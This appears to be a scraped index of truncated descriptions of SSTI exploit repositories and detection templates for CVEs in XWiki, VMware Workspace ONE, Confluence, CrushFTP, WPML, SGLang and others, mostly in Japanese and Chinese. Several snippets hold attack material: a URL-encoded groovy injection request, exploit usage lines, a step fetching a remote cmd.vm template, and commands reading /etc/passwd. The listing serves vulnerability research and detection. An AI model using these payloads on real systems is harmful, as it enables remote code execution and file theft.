CVE-2024-31982

CVE-2024-31982 Java SSTI - RCE につながる async async=falsegroovyprintln"Successful Injection"/groovy/ GET /bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Successful%20Injection%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2F HTTP/1.1 Host...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access および Identity Manager の SSTI 経由の RCE. CVE-2022-22954 - PoC SSTI 使用方法: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help このヘルプメッセージを表示して終了 -m SETMODE, --mode SETMODE 利用可能なモード: shodan | file | manual -i IP, --ip IP ホストIP -c CMD...

ragflow-audit

ragflow-audit RAGFlow 三洞审计工具（CVE-2026-28797 / CVE-2026-24770 / CVE-2025-69286） ssti ：检测并利用 StringTransform / Message 组件的 SSTI - RCE zipslip ：离线检测 zip 条目的路径穿越（Zip Slip） apikey ：从分享链接 beta 推导 API key（uuid1 时间戳枚举） 纯 Python 标准库，无第三方依赖，Python 3.8+ 可直接运行。 用法 python3 ragflow-audit.py -h...

CVE-2024-6386

CVE-2024-6386 - WPMLにおけるTwig SSTIを介したRCE PoC Python+SeleniumによるPoC ロシア語による詳細な調査: CVE-2024-6386 CVSS 基本スコア: 9.9 ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 概要 WPMLでは、特定のWordPressショートコードを使用してマクロを作成し、Twigテンプレートもレンダリングできます。そのため、これから簡単にSSTIを取得できます。 チェーン SSTI 例として、SSTIを悪用するためのショートコードを作成しましょう:...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、あなたのウェブサイトにcmd.vmを配置してください（ftpまたはhttpsを使用する必要があります。httpは動作しません） 2、RCEexp.py を修正し，change the filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - Confluence Data Center および Confluence Server におけるリモートコード実行 RCE を可能にするサーバーサイドテンプレートインジェクション SSTI の脆弱性 影響を受ける製品とバージョン: 製品| 影響を受けるバージョン ---|--- Confluence Data Center and Server| 8.0.x 8.2.x 8.3.x 8.4.x 8.5.0-8.5.3 CVSS: 10.0 積極的に悪用されている: あり パッチ: あり 緩和策: なし ヘルプ usage:...

Research_Successful_Errors

Successful Errors: 新しいコードインジェクションとSSTIの手法 !NOTE これは、SSTImap バージョン 1.3.1 をリリースする前に私が発表した結果に基づくホワイトペーパーの第2版です。 さらなる改良は、後日研究のバージョン1.2としてこの形式に適合させます。 ペイロード 印刷可能なホワイトペーパー スライド 脆弱性のカテゴリの中には、一見するとよく知られていて、ある程度明白に思えるものもあります。 それらの脆弱性に対して考えられるすべての手法が知られており、珍しいケースに対するペイロードだけが発見される可能性があるように思えるかもしれません。...

PAYLOAD-LISTS

ペイロード ペイロード一覧： SSTI インジェクションペイロード XXE ペイロード XSS ペイロード サーバーサイドリクエストフォージェリSSRF SQL インジェクションペイロード オープンリダイレクトペイロード NoSQL インジェクションペイロード LDAP インジェクションペイロード ファイルインクルージョンペイロード コマンドインジェクションペイロード CRLF インジェクションペイロード コードインジェクションペイロード サーバーサイド JavaScript インジェクション SSJI ペイロード XPATH インジェクションペイロード CSV インジェクションペイロー...

SGLang-0.5.9-RCE

SGLang SSTI to RCE PoC — サンドボックス化されていないJinja2チャットテンプレートレンダリング CVE-2026-5760 SGLangのリランキングエンドポイントにおけるサーバーサイドテンプレートインジェクション（SSTI）を介したリモートコード実行。細工されたtokenizer.chattemplateを含む悪意のあるGGUFモデルファイルをSGLangに読み込み、/v1/rerankエンドポイントを呼び出すと、任意のコードが実行されます。 Features...

waf-bypass

WAF Bypass Tool WAF Bypass Tool is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads. Check your WAF before an attacker does. WAF Bypass Tool is developed by Nemesida WAF team with the participation of...

CVE-2022-22954-PoC

CVE-2022-22954 PoC VMware Workspace ONE Access および Identity Manager の SSTI を介した RCE。 CVE-2022-22954 - PoC SSTI 使い方: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manual -i IP,...

CVE-2024-4040

CVE-2024-4040 CrushFTP 在 10.7.1 和 11.1.0 之前的所有版本（适用于所有平台）中存在一个服务端模板注入漏洞，该漏洞允许未经认证的远程攻击者读取 VFS 沙箱之外的文件系统上的文件、绕过身份验证获取管理员访问权限，并在服务器上执行远程代码。 本仓库是一个 POC，演示了攻击者如何读取文件系统中的文件。 用法： python exploit.py -u https://example.com -p /etc/passwd...

VMware-CVE-2022-22954

VMware CVE-2022-22954 Workspace ONE Access Freemarker サーバーサイドテンプレートインジェクション VMware CVE-2022-22954 用 POC この 1 行の GET リクエストを使用してください!! これにより cat /etc/passwd が実行されます...

CVE-2022-29078

THM チャレンジ: SSTI RCE 📜 説明 Node.js 用の ejs（別名 Embedded JavaScript templates）パッケージ 3.1.6 は、settingsview optionsoutputFunctionName においてサーバーサイドテンプレートインジェクションを許容します。これは内部オプションとして解析され、outputFunctionName オプションを任意の OS コマンドで上書きします（このコマンドはテンプレートコンパイル時に実行されます）。 📚 目次 📜 説明 🛠️ インストール 💁 参考 POC...

meowEye

🐾 MeowEye MeowEye は、複数の Web 脆弱性を検査する実ブラウザベースのスキャナです。実際のブラウザを使用してトラフィックを監視し、インジェクションベースのテストを実行することで、今のところ反射型パラメータ、ローカルファイルインクルード LFI、サーバーサイドテンプレートインジェクション SSTI の脆弱性を検出します。ToDo リストには、複数の脆弱性が追加される予定です。 🐾 なぜ MeowEye なのか？ 私には Koko という猫がいます。彼女は本当に美しいですが、正直なところ…彼女は一日中 何も...

CVE-2020-7931

CVE-2020-7931: Artifactory Pro における SSTI エクスプロイト CVE-2020-7931 は、Artifactory における意図的な設定ミスの脆弱性であり、攻撃者が FreeMarker テンプレート から サーバーサイドテンプレートインジェクション を実行することを可能にします。 この脆弱性は Atredis の Ryan Hanson によって発見され、2019年後半にすべての影響を受けるバージョンに対して修正されました。この脆弱性は Artifactory の Pro バージョンでのみ機能します。他のバージョンにはテンプレート機能がないためです...

LaRecipe < 2.8.1 Remote Code Execution via SSTI

LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection SSTI, which could potentially lead to Remote Code Execution RCE in vulnerable configurations. id: CVE-2025-53833 info:...

CraftCMS SEOmatic - Server-Side Template Injection

In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution. id: CVE-2021-41749 info: name: CraftCMS SEOmatic - Server-Side Template Injection author: iamnoooob,ritikchaddha...

Tandoor Recipes < 1.5.24 - Jinja2 SSTI RCE

Tandoor Recipes 1.5.24 has a Jinja2 SSTI vulnerability that allows command execution via recipe steps. id: CVE-2025-23211 info: name: Tandoor Recipes 1.5.24 - Jinja2 SSTI RCE author: sammiee5311 severity: critical description: | Tandoor Recipes 1.5.24 has a Jinja2 SSTI vulnerability that allows...

Craft CMS < 3.3.0 - Server-Side Template Injection

Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller. id: CVE-2020-9757 info: name: Craft CMS 3.3.0 - Server-Side Template Injection author:...